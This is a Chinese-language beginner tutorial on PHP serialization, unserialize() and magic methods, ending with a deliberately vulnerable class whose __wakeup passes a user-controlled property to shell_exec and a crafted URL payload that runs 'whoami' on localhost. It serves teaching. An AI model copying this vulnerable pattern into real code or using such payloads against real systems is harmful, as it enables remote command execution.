1、写在前面

OK 兄弟们,这几天一直在面试,发现很多 HR 喜欢问反序列化相关的内容,今天咱们就从最简单的 PHP 原生反序列化入手,带大家入门反序列化

2、PHP 序列化

在 PHP 中,有反序列化,就有序列化,我们先来解释一下序列化。

所谓序列化,就是将 PHP 的一个对象,序列化为一串字符串的过程,其所用的函数就是serialize()

对象:一个对多种信息描述的整体

类:一个储存信息的共享的模板,以class开头

我们先试着创建一个新的类

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
//方法
public function print_var()
{
echo $this->a;
}
}
?>

上面就是一个很简单的类,我们来看一下,首先使用class声明了一个类seren,在这个seren类里,我们有两个变量a和b,还有一个方法print_var

现在我们要去使用这个类,就需要把这个类实例化为一个对象

//创建一个对象
$object = new seren();
//调用一个方法
$object->print_var();

我们可以使用new,将seren类实例化为一个object对象,如果我们想要使用这个类的方法,可以直接使用 $object->print_var(); 的方法来调用这个方法。

接下来,我们试着使用serialize函数,将这个对象给序列化

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
//方法
public function print_var()
{
echo $this->a;
}
}
$object = new seren();
$c = serialize($object);
echo $c;
?>

此处我们使用 serialize 将object这个对象,序列化为c,并打印出c

此处可以看到打印出的字符串

O:5:"seren":2:{s:1:"a";s:5:"hello";s:8:" seren b";s:5:"world";}

接下来我们就把这串字符串逐个解释一下。

首先是前面的 O,代表这是一个Object,也就是一个对象,然后是 O 后面的5,代表这个对象的名称为 5 个长度,再后面的seren就是我们对象的名称,后面的 2 就是我们对象里变量的个数。

然后就是大括号里面的内容,里面都是对我们对象里的变量的描述。

第一个s:1:"a";,表示为string类型,这个变量的名称长度为 1,变量名称为 a

后面的s:5:"hello";,表示为string类型,这个值的长度为 5,值为 hello

其实从这里我们就可以发现出规律,这个字符串对对象的描述都是类型+长度+名称的格式

比较特殊的就是后面的s:8:" seren b";,此处我们可以看到似乎有点不一样,这里的长度变成了 8,并且名称变成了serenb

我们回到上面,看我们创建这个类的时候,b 的类型为private,所以就可以知道,根据规定,private类型的变量在序列化后,名称会变为类名+变量名的格式,但是serenb也只有 6 个长度,但是他提示我们有 8 个长度

其实是因为在seren的前后有两个我们不可见的%00,他真正的内容应该是%00seren%00b,%00 算是一个长度,所以一共是 8 个长度。

3、PHP 反序列化

讲完了序列化,接下来就是反序列化,反序列化的函数是unserialize(),他可以将我们的序列化后的字符串,反序列化为对象

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
//方法
public function print_var()
{
echo $this->a;
}
}
$object = new seren();
$c = serialize($object);
$object2 = unserialize($c);
var_dump($object2);
?>

此处我们使用unserialize函数将字符串 c 反序列化为了对象object2

4、魔术方法

魔术方法是 php 反序列化漏洞利用中很重要的一环,一般以两个下划线开头,如果这个类里面存在魔术方法,他就会优先调用魔术方法

_construct()  //当一个对象创建时被调用
_destruct() //对象被销毁时触发
_wakeup() //反序列化前触发
_sleep() //序列化前触发
_toString() //把类当作字符串使用时触发
_get() //用于从不可访问的属性读取数据
_set() //用于将数据写入不可访问的属性
_isset() //在不可访问的属性上调用isset()或empty()触发
_unset() //在不可访问的属性上使用unset时触发
_invoke() //当脚本尝试将对象调用为函数时触发

我们试着在类里创建一个魔术方法wakeup

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
//方法
public function print_var()
{
echo $this->a;
} public function __wakeup()
{
// TODO: Implement __wakeup() method.
echo 'Follow SerenSec!';
}
}
$object = new seren();
$c = serialize($object);
$object2 = unserialize($c);
?>

运行后发现输出了Follow SerenSec!

5、PHP 反序列化漏洞

我们可以试着在反序列化的时候,寻找一些比较危险的魔术方法,从而达成 RCE 的目的,这就是反序列化漏洞

下面是一个很简单的例子

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
public $hack;
//方法
public function print_var()
{
echo $this->a;
}
public function __construct($hack) {
$this->hack = $hack;
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
echo shell_exec($this->hack);
}
}
$object2 = unserialize($_GET['hack']);
?>

此时我们发现有 __wakeup 魔术方法,其中存在 shell_exec 函数,可以执行命令,并且其中的 hack 变量是可控的

我们先构造出序列化后的字符串

O:5:"seren":3:{s:1:"a";s:5:"hello";s:8:"%00seren%00b";s:5:"world";s:4:"hack";s:6:"whoami"}

然后构造 payload

http://localhost/test.php?hack=O:5:%22seren%22:3:{s:1:%22a%22;s:5:%22hello%22;s:8:%22%00seren%00b%22;s:5:%22world%22;s:4:%22hack%22;s:6:%22whoami%22}

成功执行命令

6、结语

PHP 原生反序列化比较简单,后面会有一些拓展内容,像是POP 链Phar 协议,这些是比较绕的地方,各位可以自行探索。

从零开始的PHP原生反序列化漏洞的更多相关文章

  1. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  2. Java反序列化漏洞总结

    本文首发自https://www.secpulse.com/archives/95012.html,转载请注明出处. 前言 什么是序列化和反序列化 Java 提供了一种对象序列化的机制,该机制中,一个 ...

  3. 原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!

    GitHub 15.8k Star 的Java工程师成神之路,不来了解一下吗! GitHub 15.8k Star 的Java工程师成神之路,真的不来了解一下吗! GitHub 15.8k Star ...

  4. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  5. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  6. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  7. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  8. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  9. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  10. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

随机推荐

  1. IDEA Spring Boot项目,排查解决maven包冲突

    一.Idea安装插件 下载方式1:插件名称:maven helper 打开Idea设置,搜索安装该插件 下载方式2:https://plugins.jetbrains.com/plugin/7179- ...

  2. D pid(16916) tid(19140) 14:05:45 EdgeSnapFeature::PostExitSizeMove: WM_TWINVIEW_SHOW_GRIDLINES -> off

    D pid(16916) tid(19140) 14:05:45 EdgeSnapFeature::PostExitSizeMove: WM_TWINVIEW_SHOW_GRIDLINES -> ...

  3. Android设备基础信息获取 源码修改方式 APK开发

    APK 获取设备信息 头文件 import java.io.BufferedReader; import java.io.File; import java.io.FileFilter; import ...

  4. 机器学习中的 K-均值聚类算法及其优缺点

    K-均值聚类算法是一种经典的机器学习算法,用于将数据集分成 K 个不同的簇.它是一种无监督学习算法,即不需要标签或任何先验知识来指导聚类过程. 算法的工作原理如下: 随机选择 K 个数据点作为初始聚类 ...

  5. Flink学习(四) Flink Table & SQL 实现wordcount Java版本

    Flink Table & SQL WordCountFlink SQL 是 Flink 实时计算为简化计算模型,降低用户使用实时计算门槛而设计的一套符合标准 SQL 语义的开发语言. 一个完 ...

  6. wxFormBuilder 代码运行报错,尝试删除报错代码部分语句

    解决方法: 定位到第60行,删掉部分代码如下 bSizer1.Add(gbSizer1, 1, wx.EXPAND , 1) 运行后效果如下图:

  7. Qt QHeaderView 添加复选框

    QT QTableView 表头添加复选框 最近在做表格,用QTableView,然后有一个需求是给表格添加表头,但是没有一个API能够在表头添加复选框,基本都是来重载QHeaderView,有两种方 ...

  8. k8s dashboard token 生成/获取

    创建示例用户 在本指南中,我们将了解如何使用 Kubernetes 的服务帐户机制创建新用户.授予该用户管理员权限并使用与该用户绑定的承载令牌登录仪表板. 对于以下每个和的代码片段ServiceAcc ...

  9. docker 中几个节点意外宕机 pxc 无法启动

    docker 意外宕机,PXC启动不了解决方法 由于 意外宕机 docker start pxc 节点后闪退,解决方法如下 从节点中找任意一个数据卷映射目录,修改参数 [root@izuf64gdeg ...

  10. nginx 部署配置

        下载nginx 包(http://nginx.org/en/download.html)   nginx常用命令: nginx -s stop 快速关闭Nginx,可能不保存相关信息,并终止w ...